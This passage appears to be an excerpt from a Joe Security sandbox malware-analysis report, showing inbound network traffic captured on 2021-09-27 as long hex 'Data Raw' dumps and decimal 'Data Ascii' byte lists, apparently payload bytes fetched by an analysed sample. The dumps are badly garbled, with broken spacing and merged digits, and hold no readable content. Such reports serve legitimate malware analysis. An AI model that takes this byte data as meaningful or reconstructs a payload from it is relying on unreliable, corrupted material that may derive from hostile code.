3920 35 30 20 34 38 20 34 35 20 36 32 20 31 31 37 20 31 30 39 20 31 31 33 20 36 37 20 31 32 34 20 35 30 20 35 34 20
38 3520 3838 20 31 30 32 20 39 33 20 31 31 34 20 35 30 20 32 30 20 35 30 20 35 34 20 38 34 20 31 32 36 20 31 31 37
203130392039 3720313820 332032382032 33302037 342039302031333820313039203131322035
3220313620 3230 35 20 32 30 31 20 38 34 20 31 31 34 20 32 34 39 20 33 33 20 31 31 32 20 35 30 20 34 39 20 32 36
2031 3031 20 38 3520 31 31 34 20 31 31 35 20 32 30 20 36 30 20 35 30 20

Data Ascii: 109 94 226 46 26 201 84 114 115 77 48 45 48 50 186 24 114 117 108 88 97 49 50 48 45 62 117 109 113 67
12450 54 85 88 102 93 114 50 20 50 54 84 126 117 109 97 18 3 28 230 74 90 138 109 112 52 16 205 201 84 114 249 33
11250 49 26 101 85 114 115 20 60 50

Data Raw: 35 36 20 31 36 20 38 33 20 32 39 20 31 38 33 20 31 30 38 20 31 31 32 20 35 36 20 32 32 20 35 33 20 35 32
203539 20 31 37 37 20 31 31 36 20 31 30 39 20 31 32 32 20 39 33 20 32 34 34 20 35 31 20 35 34 20 39 34 20 32 39 20
3138 30 20 31 30 38 20 31 31 32 20 35 36 20 32 32 20 35 33 20 35 32 20 35 39 20 39 33 20 31 31 36 20 31 30 39 20 31
32322039 33 20 32 34 31 20 35 31 20 35 34 20 39 34 20 38 34 20 31 31 39 20 32 20 36 31 20 35 30 20 34 38 20 35 36
20 32 36 20 37 34 20 38 39 20 31 31 38 20 31 30 32 20 39 31 20 32 34 32 20 35 35 20 39 33 20 32 34 34 20 38 35 20 31
313420 31 32 37 20 37 35 20 31 31 39 20 34 38 20 39 35 20 31 32 37 20 35 34 20 38 34 20 31 32 30 20 39 33 20 34 39
20 31 31 33 20 35 30 20 35 34 20 39 33 20 32 34 37 20 38 35 20 31 31 34 20

Data Ascii: 56 16 83 29 183 108 112 56 22 53 52 59 177 116 109 122 93 244 51 54 94 29 180 108 112 56 22 53 52 59 93
116 109 122 93 241 51 54 94 84 119 2 61 50 48 56 26 74 89 118 102 91 242 55 93 244 85 114 127 75 119 48 95 127 54
84 120 93 49 113 50 54 93 247 85 114

Data Raw: 34 20 31 31 35 20 32 30 20 32 32 20 32 34 20 37 35 20 31 39 33 20 31 31 34 20 31 31 37 20 31 30 35 20 39
31 2032 30 32 20 34 38 20 34 39 20 36 20 39 33 20 31 31 34 20 31 30 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20
3530 20 35 34 20 38 34 20 31 31 32 20 31 31 39 20 32 32 20 32 33 30 20 35 30 20 34 38 20 35 34 20 35 33 20 31 32 34
2032 34 37 20 31 31 37 20 31 30 39 20 31 32 32 20 37 30 20 31 32 20 35 30 20 35 34 20 38 36 20 31 31 30 20 38 38 20
31 31 30 20 38 36 20 32 30 20 32 36 20 37 39 20 31 36 30 20 38 34 20 31 31 34 20 31 31 33 20 37 30 20 31 33 36 20 35
30 20 35 31 20 32 20 36 33 20 38 34 20 31 30 39 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35
34 20 38 36 20 31 31 32 20 31 34 20 32 35 31 20 31 31 32 20 35 30 20 35 32

Data Ascii: 4 115 20 22 24 75 193 114 117 105 91 202 48 49 6 93 114 106 109 112 50 48 50 54 84 112 119 22 230 50 48
54 53 124 247 117 109 122 70 12 50 54 86 110 88 110 86 20 26 79 160 84 114 113 70 136 50 51 2 63 84 109 117 109 11
250485054 86 112 14 251 112 50 52

Data Raw: 30 20 35 38 20 38 34 20 31 31 34 20 31 30 30 20 31 31 31 20 31 30 39 20 34 31 20 32 39 20 35 33 20 31 36
203437 20 32 31 31 20 31 31 37 20 31 30 39 20 31 31 36 20 32 34 20 32 32 20 32 35 20 31 39 33 20 38 34 20 31 31 33
20 36 39 20 31 30 30 20 31 31 32 20 36 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20
31 31 34 20 34 39 20 33 38 20 33 30 20 35 33 20 31 31 34 20 38 34 20 39 35 20 31 36 20 32 30 39 20 35 30 20 34 38 20
3534 20 32 39 20 31 37 32 20 31 31 34 20 31 30 32 20 39 33 20 31 31 35 20 35 30 20 36 33 20 35 30 20 35 34 20 38 34
20 31 32 36 20 31 31 37 20 31 30 39 20 39 37 20 34 38 20 33 39 20 33 36 20 32 36 20 38 33 20 38 34 20 31 34 20 32 30
37 2031 31 32 20 35 30 20 35 32 20 32 34 20 31 36 20 31 32 37 20 31 33 33

Data Ascii: 0 58 84 114 100 111 109 41 29 53 16 47 211 117 109 116 24 22 25 193 84 113 69 100 112 61 48 50 54 84 114
117 109 114 49 38 30 53 114 84 95 16 209 50 48 54 29 172 114 102 93 115 50 63 50 54 84 126 117 109 97 48 39 36 26
8384 14 207 112 50 52 24 16 127 133

Data Raw: 35 34 20 38 34 20 31 31 34 20 31 31 32 20 31 31 36 20 39 33 20 35 38 20 32 32 20 33 36 20 33 32 20 31 32
30 2031 31 36 20 38 33 20 37 30 20 37 39 20 36 33 20 32 37 20 31 39 36 20 35 38 20 31 32 37 20 31 33 38 20 31 32 34
20 31 30 31 20 32 33 34 20 34 36 20 32 39 20 36 32 20 31 36 20 38 32 20 32 39 20 36 34 20 31 30 39 20 31 31 32 20 35
36 20 34 30 20 31 20 31 39 20 31 32 37 20 31 31 33 20 31 32 37 20 37 30 20 31 33 30 20 34 38 20 37 35 20 31 36 36 20
3534 20 38 34 20 31 31 38 20 31 30 32 20 31 30 35 20 39 37 20 35 34 20 32 38 20 35 36 20 33 39 20 38 30 20 31 31 32
20 31 31 38 20 31 30 37 20 33 31 20 32 34 32 20 34 39 20 35 30 20 34 38 20 38 36 20 31 31 36 20 31 31 33 20 32 20 32
3334 20 35 31 20 34 38 20 35 32 20 32 33 32 20 32 33 20 31 32 32 20 39 38

Data Ascii: 54 84 114 112 116 93 58 22 36 32 120 116 83 70 79 63 27 196 58 127 138 124 101 234 46 29 62 16 82 29 64
109 11256 40 1 19 127 113 127 70 130 48 75 166 54 84 118 102 105 97 54 28 56 39 80 112 118 107 31 242 49 50 48 86
116 113 2 234 51 48 52 232 23 122 98
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Data Raw: 37 20 31 30 37 20 31 37 34 20 35 38 20 33 33 20 35 32 20 33 30 20 32 32 32 20 31 31 34 20 31 31 37 20 31
30 3320 31 37 32 20 32 33 36 20 39 36 20 34 38 20 37 37 20 32 30 37 20 31 31 34 20 31 31 37 20 31 30 35 20 39 39 20
3533 20 33 33 20 35 33 20 32 36 20 37 31 20 39 39 20 31 31 34 20 31 31 31 20 31 31 36 20 39 33 20 32 30 39 20 35 31
2035342039 34 20 31 20 31 35 37 20 31 30 38 20 31 31 32 20 35 36 20 39 35 20 32 35 34 20 35 3520 38 34 20 31 31
3620 31 3139203220 32313120353120343820353220323332203132352038372039332033332031
313220 353020353820 3537 203532203437 20323333203131372031303920313136203333203535
20 33 352034 39 2031 32 30 20 31 32 33 20 31 30 30 20 31 30 36 20 31 31

Data Ascii: 7 107 174 58 33 52 30 222 114 117 103 172 236 96 48 77 207 114 117 105 99 53 33 53 26 71 99 114 111 116
93209 515494 1 157 108 112 56 95 254 55 84 116 119 2 211 51 48 52 232 125 87 93 33 112 50 58 57 52 47 233 117 1
09 116 33 55 35 49 120 123 100 106 11

Data Raw: 20 31 34 20 31 39 35 20 31 31 32 20 35 30 20 35 32 20 33 30 20 33 36 20 38 36 20 39 20 32 31 39 20 31 30
392031 31 32 20 35 34 20 39 35 20 32 33 36 20 35 35 20 38 34 20 31 32 30 20 31 31 39 20 31 3231 20 31 33 20 31 35
36 20 34 38 20 35 30 20 35 30 20 38 36 20 39 20 32 31 38 20 31 30 39 20 31 31 32 20 35 34 20 32 38 20 33 32 20 35 32
2034 372032323120313137203130392031 31362039 332032333820353120353420393420313132
2039 37 20 31 36 20 32 32 33 20 35 30 20 34 38 20 35 34 20 35 32 20 34 37 20 31 39 34 20 31 31 37 20 31 30 39 20 31
3136 20 33 30 20 33 34 20 34 38 20 37 37 20 32 32 38 20 31 31 34 20 31 31 37 20 31 30 35 20 33 31 20 32 33 36 20 34
3920 35 30 20 36 30 20 38 36 20 31 30 32 20 38 20 32 32 31 20 31 31 32 20

Data Ascii: 14 195 112 50 52 30 36 86 9 219 109 112 54 95 236 55 84 120 119 121 13 156 48 50 50 86 9 218 109 112 54
28325247221 117 109 116 93 238 51 54 94 112 97 16 223 50 48 54 52 47 194 117 109 116 30 34 48 77 228 114 117
105 31 236 49 50 60 86 102 8 221 112

Data Raw: 31 30 32 20 32 30 39 20 35 33 20 32 31 31 20 32 31 34 20 32 33 32 20 31 30 38 20 31 39 30 20 32 35 34 20
313738 20 32 30 30 20 36 37 20 33 32 20 32 30 37 20 31 34 35 20 32 30 38 20 35 39 20 31 38 33 20 32 31 30 20 31 35
3820 31 32 37 20 32 30 37 20 34 31 20 31 33 36 20 31 31 37 20 31 36 20 39 36 20 35 34 20 32 30 36 20 32 31 33 20 31
36 3520 313531 2032323820 31323020 31 35 30 20 32 30 30 20 31 33 34 20 32 30 38 20 33 20 32 30 37 20 31 37
36 20 32 32 38 20 33 34 20 35 32 20 31 32 33 20 32 33 35 20 32 30 39 20 32 31 20 31 36 30 20 31 36 31 20 32 30 33 20
313133203233372031383520313330203233203132312031313820313330203338203132352031
34 3120 313439203737 20313220313432203233322032372031

Data Ascii: 102 209 53 211 214 232 108 190 254 178 200 67 32 207 145 208 59 183 210 158 127 207 41 136 117 16 96 54
206 213 165 151 228 120 150 200 134 208 3 207 176 228 34 52 123 235 209 21 160 161 203 113 237 185 130 23 121
118130 38 125 141 149 77 12 142232 27 1

Data Raw: 35 39 20 32 30 38 20 31 33 37 20 31 34 39 20 31 32 30 20 31 34 31 20 31 34 39 20 31 35 32 20 38 39 20 32
3034 20 37 34 20 31 31 37 20 37 30 20 31 30 33 20 31 38 30 20 31 32 38 20 33 30 20 31 37 3520 32 31 30 20 31 34 32
20 33 31 20 33 38 20 38 32 20 31 38 34 20 32 34 31 20 35 34 20 32 34 33 20 38 33 20 31 39 37 20 32 32 34 20 31 32 32
203134 33203134 35203231302032323120 32343920 31 38 34 20 32 33 38 20 37 38 20 32 34 30 20 38 36 20
3231 382034382034 35203234 3620313831203233362037 37203339 203130322032303120313236
2032 333520323039 2032333020 313730203330 2032323020 3536203634 20 32 34 33 20 36 3220 31 33
3420 38 3520 31 31 3520 31 35302031 3331203931203131342031

Data Ascii: 59 208 137 149 120 141 149 152 89 204 74 117 70 103 180 128 30 175 210 142 31 38 82 184 241 54 243 83
197 224 122 143 145 210 221 249 184 238 78 240 86 218 48 45 246 181 236 77 39 102 201 126 235 209 230 170 30 220
56 64 243 62 134 85115150 13191 114 1

Data Raw: 20 32 33 35 20 32 30 39 20 32 34 31 20 39 38 20 31 32 33 20 31 38 30 20 32 32 39 20 31 37 36 20 31 38 33
203139 31 20 32 32 34 20 36 31 20 31 32 34 20 35 32 20 31 34 31 20 31 34 37 20 39 20 32 35 30 20 31 35 36 20 39 37
2031 30 37 20 32 32 30 20 31 32 36 20 32 35 20 32 32 32 20 36 32 20 38 35 20 31 36 20 32 30 35 20 32 31 34 20 38 35
20 32 33 37 20 32 32 20 32 35 34 20 31 38 34 20 31 32 37 20 37 38 20 31 30 33 20 35 36 20 31 39 38 20 31 34 20 31 31
3820 31 34 3320 31 34 35 20 31 32 34 20 31 33 20 39 36 20 34 37 20 32 30 38 20 33 33 20 31 31 35203132 31 20 31
3138 20 31 33 37 20 32 34 37 20 37 30 20 31 33 31 20 38 31 20 31 32 32 20 31 20 32 38 20 38 30 20 31 31 34 20 31 36
20 32 30 35 20 32 31 34 20 32 36 20 35 39 20 31 34 37 20 39 36 20 31 35 33

Data Ascii: 235 209 241 98 123 180 229 176 183 191 224 61 124 52 141 147 9 250 156 97 107 220 126 25 222 62 85 16
205 214 85 237 22 254 184 127 78 103 56 198 14 118 143 145 124 13 96 47 208 33 115 121 118 137 247 70 131 81 122
12880114 16 205 214 26 59 147 96 153

Data Raw: 31 20 32 33 30 20 32 31 30 20 32 32 33 20 32 34 30 20 38 37 20 35 35 20 33 39 20 31 35 34 20 38 30 20 35
38 2032 33 32 20 32 32 32 20 37 34 20 31 35 34 20 34 36 20 32 30 37 20 31 34 35 20 39 32 20 31 39 30 20 30 20 32 34
38 20 31 35 33 20 32 33 34 20 32 35 34 20 31 33 30 20 38 34 20 39 39 20 34 39 20 32 30 34 20 32 33 20 32 30 35 20 32
3134 20 39 33 20 31 32 30 20 39 36 20 32 30 31 20 32 33 35 20 33 35 20 32 31 32 20 31 38 32 20 38 34 20 34 39 20 38
3520 35 37 20 31 39 30 20 38 31 20 35 37 20 31 35 33 20 34 39 20 32 30 32 20 32 30 36 20 31 37 37 20 32 32 32 20 32
33332031 37 3520 31 31 30 20 31 38 33 20 31 35 31 20 31 36 32 20 37 37 20 32 34 30 20 36 30 20 31 31 30 20 31 30
37 20 39 33 20 31 39 20 38 31 20 35 34 20 32 31 30 20 32 31 31 20 31 35 30

Data Ascii: 1 230 210 223 240 87 55 39 154 80 58 232 222 74 154 46 207 145 92 190 0 248 153 234 254 130 84 99 49
204 23 205 214 93 120 96 201 235 35 212 182 84 49 85 57 190 81 57 153 49 202 206 177 222 233 175 110 183 151 162
77 240 60 110 107 93 19 81 54 210 211 150

Data Raw: 35 20 31 30 39 20 31 31 32 20 35 30 20 31 39 20 31 30 33 20 31 30 31 20 38 34 20 31 31 34 20 31 31 37 20
313039 20 31 31 32 20 34 38 20 34 38 20 35 30 20 35 35 20 33 20 32 30 35 20 32 31 35 20 31 31 34 20 31 32 31 20 34
3520 34 38 20 35 30 20 35 34 20 31 37 34 20 31 31 35 20 37 30 20 31 30 39 20 31 31 34 20 35 30 20 34 38 20 35 31 20
3534 20 38 34 20 31 31 34 20 31 36 35 20 31 30 39 20 31 31 32 20 35 30 20 31 31 39 20 35 30 20 35 34 20 38 34 20 31
36 35 20 31 31 37 20 31 30 39 20 31 31 32 20 32 32 36 20 34 39 20 35 30 20 35 34 20 31 35 32 20 31 31 3520 31 31 37
20 31 30 39 20 31 31 39 20 35 30 20 34 38 20 35 30 20 32 30 30 20 38 3520 31 31 34 20 31 31 37 2031 323320 31 31
32 20 35 30 20 34 38 20 31 30 34 20 35 34 20 38 34 20 31 31 34 20 31 31 36

Data Ascii: 5109 112 50 19 103 101 84 114 117 109 112 48 48 50 55 3 205 215 114 121 45 48 50 54 174 115 70 109 114
5048 51 54 84 114 165 109 112 50 119 50 54 84 165 117 109 112 226 49 50 54 152 115 117 109 119 50 48 50 200 85 11
4117 123112 50 48 104 54 84 114 116

Data Raw: 38 37 20 36 33 20 32 31 36 20 36 32 20 34 38 20 38 34 20 34 39 20 31 32 30 20 31 33 33 20 31 32 34 20 35
322034 38 20 31 32 34 20 35 39 20 31 38 38 20 31 32 36 20 31 31 35 20 31 30 39 20 33 36 20 36 33 20 32 31 36 20 36
32 20 34 38 20 38 34 20 31 36 20 31 32 30 20 31 33 33 20 31 32 34 20 35 32 20 34 38 20 39 33 20 35 39 20 31 33 20 31
3134 20 31 31 35 20 31 30 39 20 32 34 35 20 36 33 20 31 30 35 20 35 30 20 34 38 20 38 34 20 32 35 32 20 31 32 30 20
353220 31 31 32 20 35 32 20 34 38 20 31 36 31 20 35 39 20 31 33 20 31 31 34 20 31 31 35 20 31 30 39 20 32 33 34 20
36 33 20 31 30 35 20 35 30 20 34 38 20 38 34 20 32 31 31 20 31 32 30 20 35 32 20 31 31 32 20 35 32 20 34 38 20 31 35
34 20 3539 20 31 33 20 31 31 34 20 31 31 35 20 31 30 39 20 31 39 32 20 36

Data Ascii: 87 63 216 62 48 84 49 120 133 124 52 48 124 59 188 126 115 109 36 63 216 62 48 84 16 120 133 124 52 48
9359 13 114 115 109 245 63 105 50 48 84 252 120 52 112 52 48 161 59 13 114 115 109 234 63 105 50 48 84 211 120 52
11252 48154 59 13 114 115 109 192 6
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Data Raw: 20 34 35 20 31 35 32 20 35 34 20 36 36 20 31 31 34 20 31 33 32 20 31 31 32 20 32 31 38 20 35 30 20 35 34
20353020 34 37 20 31 31 36 20 32 30 35 20 31 31 37 20 31 30 37 20 31 31 32 20 37 20 31 36 20 32 34 36 20 35 34 20
38 32 20 31 31 34 20 33 36 20 37 37 20 31 38 33 20 35 30 20 35 34 20 35 30 20 31 31 31 20 31 31 37 20 31 38 31 20 31
313720313037 2031313220 323039203138 20353620 353520383220 31313420 313338203739 2031
38 3020 353020 3534 20 3530 20 34 3520 31 31 39 20 32 30 3520 31 31 37 20 31 30 37 20 31 31 3220 3520 31 39
20313532 2035342038 322031313420333820373820313237203531203534203530203839203131
392031 32352031313620313037 203131322031 383520313920

Data Ascii: 45 152 54 66 114 132 112 218 50 54 50 47 116 205 117 107 112 7 16 246 54 82 114 36 77 183 50 54 50 111
117181 117 107 112 209 18 56 55 82 114 138 79 180 50 54 50 45 119 205 117 107 1125 19 152 54 82 114 38 78 127 51
545089 119 125 116 107 112185 19

Data Raw: 20 34 39 20 35 35 20 31 30 32 20 31 37 38 20 32 20 32 34 33 20 35 34 20 31 31 34 20 35 39 20 32 34 30 20
31313420 31 3531 20 31 31 38 20 34 39 20 32 20 32 34 32 20 36 30 20 32 30 32 20 35 32 20 35 33 20 31 30 32 20 31
37 38 20 31 30 33 20 32 34 33 20 35 34 20 31 31 34 20 36 31 20 38 30 20 35 30 20 34 38 20 35 30 20 35 34 20 36 36 20
313134203134 39 203131372039 392035302034 3920 353020313334 203131362031313420313137
203130392031 313220333520 343020353820343420313620313134203131392031303920313136
20 31 39 20 34 38 20 35 30 20 35 34 20 38 34 20 39 37 20 31 31 37 20 39 38 20 31 30 36 20 31 32 32 20 34 38 20 34 38
203534 2037 322038 33 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20

Data Ascii: 49 55 102 178 2 243 54 114 59 240 114 151 118 49 2 242 60 202 52 53 102 178 103 243 54 114 61 80 50 48
5054 66 114 149 117 9950 49 50 134 116 114 117 109 112 35 40 58 44 16 114 119 109 116 19 48 50 54 84 97 117 98 1
06 122 48 48 54 72 83 117 109 112 50

Data Raw: 31 30 38 20 36 36 20 32 30 32 20 31 30 38 20 36 32 20 35 30 20 32 34 38 20 37 20 35 34 20 38 34 20 31 31
3420313137 2031312031 31352037 352030203234 372035352034 20313134203239203931203131
3220 35 30 20 34 38 20 35 30 20 38 30 20 38 37 20 32 30 30 20 36 39 20 31 30 34 20 31 31 33 20 39 36 20 34 38 20 32
313020302038 34 2031313420313137 20313039 20323220 34392032 313020322031312038352033
3320 3131372039 332037 312035302034 3820 353020353420353020313133203135352039332031
3837 20 3531 2031 30 30 20 35 30 20 32 33 30 20 39 39 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 32 20
34 38 20 32 30 33 20 36 20 32 30 30 20 31 31 34 20 33 33 20 31 30 39 20 31

Data Ascii: 108 66 202 108 62 50 248 7 54 84 114 117 11 115 75 0 247 55 4 114 29 91 112 50 48 50 80 87 200 69 104
11396 48 210084 114 117 109 22 49 210 2 11 85 33 117 93 71 50 48 50 54 50 113 155 93 187 51 100 50 230 99 114
117 109 112 52 48 203 6 200 114 33 109 1

Data Raw: 20 38 34 20 31 31 34 20 31 30 30 20 31 30 39 20 39 33 20 31 32 36 20 36 34 20 34 38 20 31 38 38 20 38 34
203734 20 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 33 35 20 35 34 20 34 35 20 36 32 20 35 20 31 31 31 20
323531 20 35 30 20 31 32 20 38 36 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 32 34 20 31 31 32 20 32 34 37 20
313234 20323138 2035322032 3136203131 3420312039 2031313220 353020 34 382035302033 3220
3834 20 39 3520 35 36 20 31 35 37 20 31 31 34 20 31 38 38 20 34 38 20 32 31 38 20 38 32 20 38 34 20 31 31 34 20 31
3137 203130392031 303220353020313239 20313237 203230342038 362032323720313137203533
20 32 31 20 35 30 20 34 38 20 35 30 20 35 34 20 36 36 20 31 31 34 20 31 30

Data Ascii: 84 114 100 109 93 126 64 48 188 84 74 17 109 112 50 48 3554 45 62 5 111 251 50 12 86 54 84 114 117 124
112 247 124 218 52 216 114 1 9 112 50 48 50 32 84 95 56 157 114 188 48 218 82 84 114 117 109 102 50 129 127 204 86
227 117 53 21 50 48 50 54 66 114 10

Data Raw: 32 20 33 30 20 31 31 38 20 31 31 32 20 31 30 38 20 31 30 38 20 31 38 32 20 34 38 20 35 30 20 35 34 20 38
34 2032 34 34 20 31 30 39 20 31 35 38 20 31 30 36 20 38 35 20 34 38 20 35 32 20 35 35 20 31 36 20 32 34 36 20 31 31
3720 31 3039 20 31 31 32 20 35 30 20 31 38 32 20 34 32 20 31 39 37 20 37 38 20 32 33 34 20 31 31 36 20 31 30 37 20
31 31332031 37 30 20 31 38 30 20 35 30 20 35 34 20 38 34 20 31 31 34 20 32 34 33 20 31 30 39 20 31 32 31 20 38 39
20 31 37 32 20 35 30 20 34 39 20 38 35 20 31 39 38 20 32 34 31 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 37 39
20 35 34 20 31 30 39 20 32 35 20 31 38 20 31 30 39 20 31 31 39 20 35 31 20 31 38 30 20 31 38 33 20 35 34 20 38 34 20
31313420 313137203233 3520 313132203931 2039 3120313030

Data Ascii: 2 30 118 112 108 108 182 48 50 54 84 244 109 158 106 85 48 52 55 16 246 117 109 112 50 182 42 197 78
234 116 107 113 170 180 50 54 84 114 243 109 121 89 172 50 49 85 198 241 109 112 50 48 179 54 109 25 18 109 119
51180 183 54 84 114 117 235 112 91 91 100

Data Raw: 38 31 20 31 37 37 20 31 31 30 20 38 31 20 37 39 20 31 31 36 20 39 20 32 31 39 20 35 30 20 34 38 20 35 30
20 3534 20 36 36 20 31 31 34 20 32 33 36 20 32 33 38 20 34 36 20 35 35 20 31 34 20 35 31 20 31 37 38 20 32 35 35 20
3131342031 313720313039 2031313220 3336203438 2031333520 31383120 343920313139 2037 34
20 31 3038 20 31 37 36 20 31 35 33 20 34 38 20 35 30 20 35 34 20 38 34 20 31 30 30 20 31 31 37 20 31 32 38 20 32 34
3320 39 34 20 35 33 20 31 31 34 20 35 35 20 35 32 20 32 32 32 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 35 34
20 34 3220 31 39 37 20 37 38 20 31 37 32 20 31 31 37 20 34 36 20 31 31 33 20 31 38 32 20 31 35 36 20 35 30 20 35 34
20 38 34 20 31 31 34 20 31 39 20 31 31 30 20 31 38 39 20 31 38 32 20 38 37

Data Ascii: 81 177 110 81 79 116 9 219 50 48 50 54 66 114 236 238 46 55 14 51 178 255 114 117 109 112 36 48 135 181
49 119 74 108 176 153 48 50 54 84 100 117 128 243 94 53 114 55 52 222 117 109 112 50 54 42 197 78 172 117 46 113 1
82 156 50 54 84 114 19 110 189 182 87

Data Raw: 20 35 32 20 39 35 20 35 31 20 32 32 36 20 32 33 32 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35
312034 38 20 31 30 36 20 31 37 34 20 35 33 20 31 31 36 20 34 20 31 30 38 20 31 36 38 20 31 34 30 20 34 38 20 35 30
20 35 34 20 38 34 20 31 31 36 20 31 31 37 20 31 36 35 20 32 33 32 20 39 31 20 35 34 20 37 30 20 35 35 20 32 32 30 20
32 30352031 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 39 20 35 30 20 35 34 20 32 30 35 20 32 31 20 31 31 37 20
32 34 20 31 31 33 20 31 33 38 20 32 34 30 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 35 20 31 30 39 20 36 34 20
3137 31 20 38 37 20 35 30 20 36 37 20 38 35 20 31 35 30 20 31 38 30 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35
3120 35 34 20 32 34 20 32 33 35 20 32 36 20 31 30 37 20 35 20 35 31 20 32

Data Ascii: 52 95 51 226 232 114 117 109 112 51 48 106 174 53 116 4 108 168 140 48 50 54 84 116 117 165 232 91 54
7055220 205 117 109 112 50 49 50 54 205 21 117 24 113 138 240 50 54 84 114 115 109 64 171 87 50 67 85 150 180
109 112 50 48 51 54 24 235 26 107 551 2

Data Raw: 38 34 20 31 31 32 20 35 30 20 34 39 20 35 30 20 31 38 33 20 31 31 30 20 31 31 34 20 31 31 37 20 31 30 38
20 3131 32 20 31 33 39 20 31 30 20 35 30 20 35 34 20 38 36 20 31 31 34 20 31 36 30 20 38 37 20 31 31 32 20 35 30 20
34 39 20 35 30 20 31 32 33 20 31 30 36 20 31 31 34 20 31 31 37 20 31 30 38 20 31 31 32 20 31 37 31 20 31 34 20 35 30
20 35 34 20 38 35 20 31 31 34 20 39 36 20 38 32 20 31 31 32 20 35 30 20 34 39 20 35 30 20 38 37 20 31 30 37 20 31 31
34 20 31 31 37 20 31 30 38 20 31 31 32 20 32 33 39 20 31 35 20 35 30 20 35 34 20 38 35 20 31 31 34 20 36 34 20 34 34
20 31 31 32 20 35 30 20 35 30 20 35 30 20 31 30 33 20 32 31 20 31 31 34 20 31 31 37 20 31 31 30 20 31 31 32 20 39 35
20 31 31 33 20 35 30 20 35 34 20 38 35 20 31 31 34 20 32 30 34 20 34 34 20

Data Ascii: 84 112 50 49 50 183 110 114 117 108 112 139 10 50 54 86 114 160 87 112 50 49 50 123 106 114 117 108 112
1711450 54 85 114 96 82 112 50 49 50 87 107 114 117 108 112 239 15 50 54 85 114 64 44 112 50 50 50 103 21 114 11
711011295 113 50 54 85 114 204 44

Page 45 of 118



kBytes
Timestamp transferred

2021-09-27 18:27:27 UTC 200

2021-09-27 18:27:27 UTC 204

2021-09-27 18:27:27 UTC 208

2021-09-27 18:27:27 UTC 212

2021-09-27 18:27:27 UTC 223

2021-09-27 18:27:27 UTC 239

2021-09-27 18:27:27 UTC 255

2021-09-27 18:27:27 UTC 271

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 31 32 20 35 30 20 34 39 20 35 30 20 38 33 20 33 38 20 31 31 34 20 31 31 37 20 3131 31 20 31 31 3220 31
37 39 20 36 36 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 38 38 20 33 30 20 31 31 32 20 35 30 20 34 39 20 35 30 20
353520 33 3220 31 3134 20 31 31 37 20 31 30 38 20 31 31 32 20 31 32 37 20 36 38 20 35 30 20 35 34 20 38 35 20 31
313420323430203235203131322035302035302035302031353120333220313134203131372031
3130203131322031 34332036 382035302035 342038302031313420313732203235203131322035
3020 35332035302031393520333220313134203131372031303820313132203331203639203530
20 3534 20 38 3520 31 31 34 20 31 32 20 32 34 20 31 31 32 20 35 30 20 35

Data Ascii: 12 50 49 50 83 38 114 117 111 112 179 66 50 54 85 114 188 30 112 50 49 50 55 32 114 117 108 112 127 68
50 54 85 114 240 25 112 50 50 50 151 32 114 117 110 112 143 68 50 54 80 114 172 25 112 50 53 50 195 32 114 117 108
11231695054 85114 1224 11250 5

Data Raw: 20 31 34 33 20 35 31 20 32 34 37 20 38 34 20 31 34 34 20 36 39 20 38 30 20 31 31 33 20 32 34 33 20 34 38
20323230 20 36 20 31 35 39 20 31 31 35 20 31 39 36 20 31 30 39 20 31 37 36 20 31 36 20 31 37 34 20 35 34 20 31 36
3720 38 34 20 31 39 31 20 32 34 31 20 31 30 20 31 31 32 20 31 36 33 20 34 38 20 32 33 31 20 31 37 38 20 35 31 20 31
313420323238 2031303920 313734203138 32203837 20 353020313637 203834 2031333020323431
2031 302031313220 3136332034 382034 3820313739203531203131342033362031303420313331
2034 3020 38 37 20 35 30 20 31 3520 38 34 20 31 32 39 20 31 31 31 20 31 30 20 31 31 32 20 32 37 20 34 39 20 31 39
3320 34 34 20 34 36 20 31 31 37 20 33 36 20 31 30 39 20 31 33 31 20 34 30

Data Ascii: 143 51 247 84 144 69 80 113 243 48 220 6 159 115 196 109 176 16 174 54 167 84 191 241 10 112 163 48
23117851 114 228 109 174 182 87 50 167 84 130 241 10 112 163 48 48 179 51 114 36 104 131 40 87 50 15 84 129 111
10112 27 49 193 44 46 117 36 109 131 40

Data Raw: 20 32 32 38 20 31 30 34 20 31 32 33 20 31 35 39 20 31 34 38 20 36 33 20 33 31 20 38 32 20 39 39 20 32 31
36 2031 20 31 31 34 20 32 35 31 20 34 39 20 31 39 33 20 34 34 20 38 31 20 31 31 35 20 31 32 34 20 31 31 31 20 38 34
20 31 35 39 20 39 32 20 34 38 20 32 35 35 20 38 35 20 37 35 20 32 31 36 20 31 30 34 20 31 31 33 20 32 35 31 20 34 39
2031 323420313535203831203131352031 383020 313038203339 20 31353920 31333020 3633 20 39
352038312034 372032313620 3137 34203132352039312035332038342031353520313537203132
372034 342031 3034 20 32 33 37 20 34 36 20 32 35 35 20 36 33 20 31 31 31 20 38 31 20 32 20 32 31 36 20 31 38 31
2031 323520313037 2035332037 34203135352037 3520313139

Data Ascii: 228 104 123 159 148 63 31 82 99 216 1 114 251 49 193 44 81 115 124 111 84 159 92 48 255 85 75 216 104
113 251 49 124 155 81 115 180 108 39 159 130 63 95 81 47 216 174 125 91 53 84 155 157 127 44 104 237 46 255 63
111812216 181 125 107 53 74 155 75 119

Data Raw: 37 20 31 33 31 20 34 30 20 35 33 20 35 31 20 32 31 35 20 38 36 20 32 31 36 20 31 39 36 20 31 31 30 20 31
313620 32 31 31 20 35 30 20 32 34 35 20 31 35 36 20 38 37 20 31 31 38 20 34 31 20 31 30 39 20 33 36 20 31 35 33 20
38 37 20 35 30 20 31 38 33 20 38 36 20 32 30 32 20 32 32 33 20 31 30 20 31 31 32 20 32 33 35 20 3533 20 31 33 33 20
3133352031352039372031303020313035 2031383320 3133312038 322033332034 372038302031
